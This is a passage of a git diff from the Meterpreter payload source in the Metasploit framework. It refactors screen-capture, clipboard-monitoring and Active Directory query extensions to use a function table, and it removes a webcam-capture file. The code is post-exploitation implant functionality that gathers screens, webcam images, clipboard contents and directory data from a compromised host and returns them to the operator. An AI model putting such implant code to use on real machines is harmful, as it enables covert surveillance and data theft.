to store bitmap in memory. et [ ] metasploit.com @@ -827,7 +828,6 @@ int convert_bmp_and_send(HBITMAP hBmp, HDC hDC, Packet *resp){ memcpy(buf+sizeof(BITMAPFILEHEADER),(LPVOID) pbih, sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD)); memcpy(buf+sizeof(BITMAPFILEHEADER)+ (sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD)),(LPSTR) hp, (int) cb); // Don't send it yet. Convert it to a JPEG. - //packet_add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf, s); // JPEG conversion start here..' @@ -875,7 +875,7 @@ int convert_bmp_and_send(HBITMAP hBmp, HDC hDC, Packet *resp){ (*src_mgr->finish_input) (&cinfo, src_mgr); jpeg_finish_compress(&cinfo); jpeg_destroy_compress(&cinfo); - packet_add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf_jpeg, buf_jpeg_size); + met_api->packet.add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf_jpeg, buf_jpeg_size); // Is it safe to free this right after pack_add_tlv_raw? free(buf_jpeg); @@ -896,7 +896,7 @@ int convert_bmp_and_send(HBITMAP hBmp, HDC hDC, Packet *resp){ */ DWORD request_image_get_dev_screen(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD dwResult = ERROR_ACCESS_DENIED; HWINSTA hWindowStation = NULL; HWINSTA hOrigWindowStation = NULL; @@ -1045,7 +1045,7 @@ DWORD request_image_get_dev_screen(Remote *remote, Packet *packet) if (hInputDesktop) CloseDesktop(hInputDesktop); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); return dwResult; } diff --git a/c/meterpreter/source/extensions/espia/video.c b/c/meterpreter/source/extensions/espia/video.c deleted file mode 100644 index 5631530e..00000000 --- a/c/meterpreter/source/extensions/espia/video.c +++ /dev/null @@ -1,131 +0,0 @@ -#include "../../common/common.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "espia.h" - -#pragma comment(lib, "vfw32.lib") - -#define capSendMessage(hWnd, uMsg, wParm, lParam) ((IsWindow(hWnd)) ? SendMessage(hWnd, uMsg, (WPARAM)(wParm), (LPARAM)(lParam)) : 0) - -BOOL capWebCam(char *szFile, int nIndex, int nX, int nY, int nMsg) -{ - HWND hWndCap = capCreateCaptureWindow(NULL, WS_CHILD , 0, 0, nX, nY, GetDesktopWindow(), 0); - - - if(!hWndCap) return FALSE; - - capDlgVideoSource(hWndCap); - - SetWindowLong(hWndCap,GWL_EXSTYLE,GetWindowLong(hWndCap,GWL_EXSTYLE)); - ShowWindow(hWndCap,TRUE); - capSendMessage(hWndCap, WM_CAP_DRIVER_DISCONNECT, 0, 0); - capSendMessage(hWndCap, WM_CAP_DRIVER_CONNECT, 0, 0); - capSendMessage(hWndCap, WM_CAP_SET_SCALE, TRUE, 0); - capSendMessage(hWndCap, WM_CAP_SET_PREVIEWRATE, 1, 0); - capSendMessage(hWndCap, WM_CAP_SET_PREVIEW, TRUE, 0); - capSendMessage(hWndCap, WM_CAP_GRAB_FRAME_NOSTOP, 0, 0); - capSendMessage(hWndCap, WM_CAP_FILE_SAVEDIB, 0, szFile); - DestroyWindow(hWndCap); - - return TRUE; -} - - -int GetCamIndex() -{ - int wIndex; - char szDeviceName[80]; - char szDeviceVersion[80]; - - for (wIndex = 0; wIndex < 9; wIndex++){ - if (capGetDriverDescriptionA(wIndex, szDeviceName, sizeof(szDeviceName), szDeviceVersion, sizeof(szDeviceVersion))) - return wIndex; - } - return -1; -} - -// TODO: perhaps find a way of sharing this code with passwd.c? -char *StringCombine(char *string1, char *string2) { - size_t s1len, s2len; - - if (string2 == NULL) { // nothing to append - return string1; - } - - // TODO: what do we want to do if memory allocation fails? - s2len = strlen(string2); - if (string1 == NULL) { // create a new string - string1 = (char *)malloc(s2len + 1); - strncpy_s(string1, s2len + 1, string2, s2len + 1); - } else { // append data to the string - s1len = strlen(string1); - string1 = (char *)realloc(string1, s1len + s2len + 1); - strncat_s(string1, s1len + s2len + 1, string2, s2len + 1); - } - - return string1; -} - -int __declspec(dllexport) controlcam(char **imageresults) { - DWORD dwError = 0; - char *imagestring = NULL; - - /* METERPRETER CODE */ - // char buffer[100]; - /* END METERPRETER CODE */ - - /////////////////// - int nIndex; - - nIndex= GetCamIndex(); - if(nIndex == -1){ - return nIndex; - } - capWebCam("C:\\test.bmp", nIndex, 640, 480, 10); - return 0; - //////////////////// - - - /* return hashresults */ - *imageresults = imagestring; - - /* return the correct code */ - return dwError; -} - - -/* - * Grabs the Webcam Image. - */ -DWORD request_video_get_dev_image(Remote *remote, Packet *packet) -{ - Packet *response = packet_create_response(packet); - DWORD res = ERROR_SUCCESS; - char *image = NULL; - - do - { - if (controlcam(&image)) - { - res = GetLastError(); - break; - } - - //packet_add_tlv_string(response, TLV_TYPE_DEV_IMAGE, image); - - } while (0); - - packet_transmit_response(res, remote, response); - - if (image) - free(image); - - return res; -} \ No newline at end of file diff --git a/c/meterpreter/source/extensions/espia/video.h b/c/meterpreter/source/extensions/espia/video.h deleted file mode 100644 index d929604d..00000000 --- a/c/meterpreter/source/extensions/espia/video.h +++ /dev/null @@ -1,6 +0,0 @@ -#ifndef _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_VIDEO_H -#define _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_VIDEO_H - -DWORD request_video_get_dev_image(Remote *remote, Packet *packet); - -#endif diff --git a/c/meterpreter/source/extensions/extapi/adsi.c b/c/meterpreter/source/extensions/extapi/adsi.c index 6ca902a3..199047f8 100644 --- a/c/meterpreter/source/extensions/extapi/adsi.c +++ b/c/meterpreter/source/extensions/extapi/adsi.c @@ -6,6 +6,7 @@ #include "wshelpers.h" #include "adsi.h" #include "adsi_interface.h" +#include "common_metapi.h" /*! @brief The default page size to use when no page size is specified */ #define DEFAULT_PAGE_SIZE 1000 @@ -26,7 +27,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet) LPWSTR* lpwFields = NULL; DWORD fieldCount = 0; DWORD fieldIndex = 0; - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); Tlv fieldTlv; DWORD maxResults; DWORD pageSize; @@ -38,7 +39,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet) BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to create response packet", ERROR_OUTOFMEMORY); } - lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_DOMAIN); + lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_DOMAIN); dprintf("[EXTAPI ADSI] Domain: %s", lpValue); dwResult = to_wide_string(lpValue, &lpwDomain); if (dwResult != ERROR_SUCCESS) @@ -47,7 +48,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet) break; } - lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_FILTER); + lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_FILTER); dprintf("[EXTAPI ADSI] Filter: %s", lpValue); dwResult = to_wide_string(lpValue, &lpwFilter); if (dwResult != ERROR_SUCCESS) @@ -56,10 +57,10 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet) break; } - maxResults = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_MAXRESULTS); + maxResults = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_MAXRESULTS); dprintf("[EXTAPI ADSI] Max results will be %u", maxResults); - pageSize = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_PAGESIZE); + pageSize = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_PAGESIZE); dprintf("[EXTAPI ADSI] Page size specified as %u", pageSize); // Set the page size to something sensible if not given. @@ -76,7 +77,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet) } dprintf("[EXTAPI ADSI] Page size will be %u", pageSize); - while (packet_enum_tlv(packet, fieldCount, TLV_TYPE_EXT_ADSI_FIELD, &fieldTlv) == ERROR_SUCCESS) + while (met_api->packet.enum_tlv(packet, fieldCount, TLV_TYPE_EXT_ADSI_FIELD, &fieldTlv) == ERROR_SUCCESS) { lpValue = (char*)fieldTlv.buffer; dprintf("[EXTAPI ADSI] Field %u: %s", fieldCount, lpValue); @@ -131,7 +132,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet) dprintf("[EXTAPI ADSI] Transmitting response back to caller."); if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } return dwResult; diff --git a/c/meterpreter/source/extensions/extapi/adsi_interface.cpp b/c/meterpreter/source/extensions/extapi/adsi_interface.cpp index 1a5b8a37..55639bf7 100644 --- a/c/meterpreter/source/extensions/extapi/adsi_interface.cpp +++ b/c/meterpreter/source/extensions/extapi/adsi_interface.cpp @@ -5,6 +5,7 @@ */ extern "C" { #include "extapi.h" +#include "common_metapi.h" #include #include #include @@ -186,7 +187,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, DWORD dwIndex = 0; ADS_SEARCH_COLUMN col; - Packet* pGroup = packet_create_group(); + Packet* pGroup = met_api->packet.create_group(); // iterate through the columns, adding Tlv entries as we go, but only // if we can get the values out. @@ -201,56 +202,56 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, { case ADSTYPE_LARGE_INTEGER: { - packet_add_tlv_qword(pGroup, TLV_TYPE_EXT_ADSI_BIGNUMBER, col.pADsValues->LargeInteger.QuadPart); + met_api->packet.add_tlv_qword(pGroup, TLV_TYPE_EXT_ADSI_BIGNUMBER, col.pADsValues->LargeInteger.QuadPart); dprintf("[ADSI] Adding large int value %lld", (UINT)col.pADsValues->LargeInteger.QuadPart); break; } case ADSTYPE_INTEGER: { - packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, col.pADsValues->Integer); + met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, col.pADsValues->Integer); dprintf("[ADSI] Adding int value %u", (UINT)col.pADsValues->Integer); break; } case ADSTYPE_DN_STRING: { dprintf("[EXTAPI ADSI] DN String: %S", col.pADsValues->DNString); - packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->DNString); + met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->DNString); break; } case ADSTYPE_PRINTABLE_STRING: { dprintf("[EXTAPI ADSI] Printable String: %S", col.pADsValues->PrintableString); - packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->PrintableString); + met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->PrintableString); break; } case ADSTYPE_NUMERIC_STRING: { dprintf("[EXTAPI ADSI] Numeric String: %S", col.pADsValues->NumericString); - packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->NumericString); + met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->NumericString); break; } case ADSTYPE_CASE_EXACT_STRING: { dprintf("[EXTAPI ADSI] Case Extact String: %S", col.pADsValues->CaseExactString); - packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseExactString); + met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseExactString); break; } case ADSTYPE_CASE_IGNORE_STRING: { dprintf("[EXTAPI ADSI] Case Ignore String: %S", col.pADsValues->CaseIgnoreString); - packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseIgnoreString); + met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseIgnoreString); break; } case ADSTYPE_BOOLEAN: { dprintf("[EXTAPI ADSI] Boolean"); - packet_add_tlv_bool(pGroup, TLV_TYPE_EXT_ADSI_BOOL, col.pADsValues->Boolean == 0 ? FALSE : TRUE); + met_api->packet.add_tlv_bool(pGroup, TLV_TYPE_EXT_ADSI_BOOL, col.pADsValues->Boolean == 0 ? FALSE : TRUE); break; } case ADSTYPE_OCTET_STRING: { dprintf("[EXTAPI ADSI] Octet string"); - packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->OctetString.lpValue, col.pADsValues->OctetString.dwLength); + met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->OctetString.lpValue, col.pADsValues->OctetString.dwLength); break; } case ADSTYPE_UTC_TIME: @@ -259,54 +260,54 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, SYSTEMTIME* pt = &col.pADsValues->UTCTime; sprintf_s(value, VALUE_SIZE, "%4u-%02u-%02u %02u:%02u:%02u.%03u", pt->wYear, pt->wMonth, pt->wDay, pt->wHour, pt->wMinute, pt->wSecond, pt->wMilliseconds); - packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value); + met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value); break; } case ADSTYPE_PROV_SPECIFIC: { dprintf("[EXTAPI ADSI] Provider specific"); - packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->ProviderSpecific.lpValue, col.pADsValues->ProviderSpecific.dwLength); + met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->ProviderSpecific.lpValue, col.pADsValues->ProviderSpecific.dwLength); break; } case ADSTYPE_OBJECT_CLASS: { - packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->ClassName); + met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->ClassName); break; } case ADSTYPE_CASEIGNORE_LIST: { // list of strings, yay! - Packet* pStrings = packet_create_group(); + Packet* pStrings = met_api->packet.create_group(); PADS_CASEIGNORE_LIST list = col.pADsValues->pCaseIgnoreList; dprintf("[EXTAPI ADSI] Case Ignore List"); while (list != NULL) { - packet_add_tlv_wstring(pStrings, TLV_TYPE_EXT_ADSI_STRING, list->String); + met_api->packet.add_tlv_wstring(pStrings, TLV_TYPE_EXT_ADSI_STRING, list->String); list = list->Next; } - packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pStrings); + met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pStrings); break; } case ADSTYPE_PATH: { PADS_PATH path = col.pADsValues->pPath; - Packet* pPathGroup = packet_create_group(); + Packet* pPathGroup = met_api->packet.create_group(); dprintf("[EXTAPI ADSI] PATH"); - packet_add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_VOL, path->VolumeName); - packet_add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_PATH, path->Path); - packet_add_tlv_uint(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_TYPE, path->Type); + met_api->packet.add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_VOL, path->VolumeName); + met_api->packet.add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_PATH, path->Path); + met_api->packet.add_tlv_uint(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_TYPE, path->Type); - packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_PATH, pPathGroup); + met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_PATH, pPathGroup); break; } case ADSTYPE_POSTALADDRESS: { - Packet* pAddressGroup = packet_create_group(); + Packet* pAddressGroup = met_api->packet.create_group(); PADS_POSTALADDRESS addr = col.pADsValues->pPostalAddress; for (DWORD i = 0; i < sizeof(addr->PostalAddress) / sizeof(addr->PostalAddress[0]); ++i) @@ -316,33 +317,33 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, continue; } - packet_add_tlv_wstring(pAddressGroup, TLV_TYPE_EXT_ADSI_STRING, addr->PostalAddress[i]); + met_api->packet.add_tlv_wstring(pAddressGroup, TLV_TYPE_EXT_ADSI_STRING, addr->PostalAddress[i]); } dprintf("[EXTAPI ADSI] postal address list"); - packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pAddressGroup); + met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pAddressGroup); break; } case ADSTYPE_TIMESTAMP: { ADS_TIMESTAMP* pts = &col.pADsValues->Timestamp; dprintf("[EXTAPI ADSI] timestamp"); - packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, pts->WholeSeconds); + met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, pts->WholeSeconds); break; } case ADSTYPE_BACKLINK: { ADS_BACKLINK* pbl = &col.pADsValues->BackLink; dprintf("[EXTAPI ADSI] backlink"); - packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, pbl->ObjectName); + met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, pbl->ObjectName); break; } case ADSTYPE_TYPEDNAME: { PADS_TYPEDNAME ptn = col.pADsValues->pTypedName; dprintf("[EXTAPI ADSI] typed name"); - packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, ptn->ObjectName); + met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, ptn->ObjectName); break; } case ADSTYPE_NETADDRESS: @@ -353,12 +354,12 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, char* s = bytes_to_string(pna->Address, pna->AddressLength, "%u", 3, "."); if (s) { - packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s); + met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s); free(s); } else { - packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, pna->Address, pna->AddressLength); + met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, pna->Address, pna->AddressLength); } dprintf("[ADSI] %u network address of %u bytes added", pna->AddressType, pna->AddressLength); break; @@ -366,7 +367,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, case ADSTYPE_EMAIL: { dprintf("[EXTAPI ADSI] email"); - packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->Email.Address); + met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->Email.Address); break; } case ADSTYPE_NT_SECURITY_DESCRIPTOR: @@ -376,39 +377,39 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, if(ConvertSidToStringSid((PSID)psd->lpValue, &s)) { dprintf("[EXTAPI ADSI] converted SID: %s", s); - packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s); + met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s); LocalFree(s); } else { dprintf("[EXTAPI ADSI] byte SID"); - packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, psd->lpValue, psd->dwLength); + met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, psd->lpValue, psd->dwLength); } break; } case ADSTYPE_DN_WITH_BINARY: { - Packet* pDnGroup = packet_create_group(); + Packet* pDnGroup = met_api->packet.create_group(); PADS_DN_WITH_BINARY pdb = col.pADsValues->pDNWithBinary; dprintf("[ADSI] DN with string"); - packet_add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pdb->pszDNString); - packet_add_tlv_raw(pDnGroup, TLV_TYPE_EXT_ADSI_RAW, pdb->lpBinaryValue, pdb->dwLength); - packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup); + met_api->packet.add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pdb->pszDNString); + met_api->packet.add_tlv_raw(pDnGroup, TLV_TYPE_EXT_ADSI_RAW, pdb->lpBinaryValue, pdb->dwLength); + met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup); break; } case ADSTYPE_DN_WITH_STRING: { - Packet* pDnGroup = packet_create_group(); + Packet* pDnGroup = met_api->packet.create_group(); PADS_DN_WITH_STRING pds = col.pADsValues->pDNWithString; dprintf("[ADSI] DN with string"); - packet_add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszDNString); - packet_add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszStringValue); - packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup); + met_api->packet.add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszDNString); + met_api->packet.add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszStringValue); + met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup); break; } @@ -419,7 +420,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, // this is a string of some kind dprintf("[ADSI] Unhandled ADSI type %u (%x), adding unknown", col.dwADsType, col.dwADsType); sprintf_s(value, VALUE_SIZE, "(unhandled ADSI type %u)", col.dwADsType); - packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value); + met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value); break; } } @@ -429,7 +430,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, else { dprintf("[ADSI] Col read failed: %x", hr); - packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, ""); + met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, ""); } dwIndex++; @@ -439,7 +440,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, { dprintf("[ADSI] Adding group packet of %u values", dwIndex); // Throw the user details together in a group, ready to return. - packet_add_group(response, TLV_TYPE_EXT_ADSI_RESULT, pGroup); + met_api->packet.add_group(response, TLV_TYPE_EXT_ADSI_RESULT, pGroup); dprintf("[ADSI] Added group packet of %u values", dwIndex); } else diff --git a/c/meterpreter/source/extensions/extapi/clipboard.c b/c/meterpreter/source/extensions/extapi/clipboard.c index 61d40b52..170f98b5 100644 --- a/c/meterpreter/source/extensions/extapi/clipboard.c +++ b/c/meterpreter/source/extensions/extapi/clipboard.c @@ -3,7 +3,8 @@ * @brief Definitions for clipboard interaction functionality. */ #include "extapi.h" -#include "../../common/thread.h" +#include "common.h" +#include "common_metapi.h" #include "clipboard.h" #include "clipboard_image.h" @@ -300,7 +301,7 @@ VOID destroy_clipboard_monitor_capture(ClipboardCaptureList* pCaptureList, BOOL if (bRemoveLock && pCaptureList->pClipboardCaptureLock) { - lock_destroy(pCaptureList->pClipboardCaptureLock); + met_api->lock.destroy(pCaptureList->pClipboardCaptureLock); pCaptureList->pClipboardCaptureLock = NULL; } @@ -331,7 +332,7 @@ VOID timestamp_to_string(SYSTEMTIME* pTime, char buffer[40]) VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL bCaptureImageData) { ClipboardFile* pFile; - Packet* group = packet_create_group(); + Packet* group = met_api->packet.create_group(); TlvType groupType; Packet* file = NULL; char timestamp[40]; @@ -341,21 +342,21 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL memset(timestamp, 0, sizeof(timestamp)); timestamp_to_string(&pCapture->stCaptureTime, timestamp); - packet_add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP, timestamp); + met_api->packet.add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP, timestamp); dprintf("[EXTAPI CLIPBOARD] Timestamp added: %s", timestamp); switch (pCapture->captureType) { case CapText: dprintf("[EXTAPI CLIPBOARD] Dumping text %s", pCapture->lpText); - packet_add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT, (PUCHAR)(pCapture->lpText ? pCapture->lpText : "(null - clipboard was cleared)")); + met_api->packet.add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT, (PUCHAR)(pCapture->lpText ? pCapture->lpText : "(null - clipboard was cleared)")); groupType = TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT; break; case CapImage: dprintf("[EXTAPI CLIPBOARD] Dumping image %ux%x", pCapture->lpImage->dwWidth, pCapture->lpImage->dwHeight); - packet_add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX, pCapture->lpImage->dwWidth); - packet_add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY, pCapture->lpImage->dwHeight); - packet_add_tlv_raw(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA, pCapture->lpImage->lpImageContent, pCapture->lpImage->dwImageSize); + met_api->packet.add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX, pCapture->lpImage->dwWidth); + met_api->packet.add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY, pCapture->lpImage->dwHeight); + met_api->packet.add_tlv_raw(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA, pCapture->lpImage->lpImageContent, pCapture->lpImage->dwImageSize); groupType = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG; break; case CapFiles: @@ -364,16 +365,16 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL while (pFile) { dprintf("[EXTAPI CLIPBOARD] Dumping file %p", pFile); - file = packet_create_group(); + file = met_api->packet.create_group(); dprintf("[EXTAPI CLIPBOARD] Adding path %s", pFile->lpPath); - packet_add_tlv_string(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME, pFile->lpPath); + met_api->packet.add_tlv_string(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME, pFile->lpPath); dprintf("[EXTAPI CLIPBOARD] Adding size %llu", pFile->qwSize); - packet_add_tlv_qword(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE, pFile->qwSize); + met_api->packet.add_tlv_qword(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE, pFile->qwSize); dprintf("[EXTAPI CLIPBOARD] Adding group"); - packet_add_group(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, file); + met_api->packet.add_group(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, file); pFile = pFile->pNext; dprintf("[EXTAPI CLIPBOARD] Moving to next"); @@ -382,7 +383,7 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL break; } - packet_add_group(pResponse, groupType, group); + met_api->packet.add_group(pResponse, groupType, group); } /*! @@ -397,7 +398,7 @@ VOID dump_clipboard_capture_list(Packet* pResponse, ClipboardCaptureList* pCaptu { ClipboardCapture* pCapture = NULL; - lock_acquire(pCaptureList->pClipboardCaptureLock); + met_api->lock.acquire(pCaptureList->pClipboardCaptureLock); pCapture = pCaptureList->pHead; while (pCapture) { @@ -409,7 +410,7 @@ VOID dump_clipboard_capture_list(Packet* pResponse, ClipboardCaptureList* pCaptu { destroy_clipboard_monitor_capture(pCaptureList, FALSE); } - lock_release(pCaptureList->pClipboardCaptureLock); + met_api->lock.release(pCaptureList->pClipboardCaptureLock); } /*! @@ -429,7 +430,7 @@ BOOL is_duplicate(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList) ClipboardFile* pNewFiles = NULL; BOOL bResult = FALSE; - lock_acquire(pList->pClipboardCaptureLock); + met_api->lock.acquire(pList->pClipboardCaptureLock); do { @@ -501,7 +502,7 @@ BOOL is_duplicate(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList) } } while (0); - lock_release(pList->pClipboardCaptureLock); + met_api->lock.release(pList->pClipboardCaptureLock); return bResult; } @@ -520,7 +521,7 @@ BOOL add_clipboard_capture(ClipboardCapture* pNewCapture, ClipboardCaptureList* return FALSE; } - lock_acquire(pList->pClipboardCaptureLock); + met_api->lock.acquire(pList->pClipboardCaptureLock); pNewCapture->pNext = NULL; if (pList->pTail == NULL) @@ -533,7 +534,7 @@ BOOL add_clipboard_capture(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList->pTail = pList->pTail->pNext = pNewCapture; } pList->dwClipboardDataSize += pNewCapture->dwSize; - lock_release(pList->pClipboardCaptureLock); + met_api->lock.release(pList->pClipboardCaptureLock); return TRUE; } @@ -931,7 +932,7 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet) DWORD dwResult; ClipboardCapture* pCapture = NULL; BOOL bDownload = FALSE; - Packet *pResponse = packet_create_response(packet); + Packet *pResponse = met_api->packet.create_response(packet); do { @@ -941,7 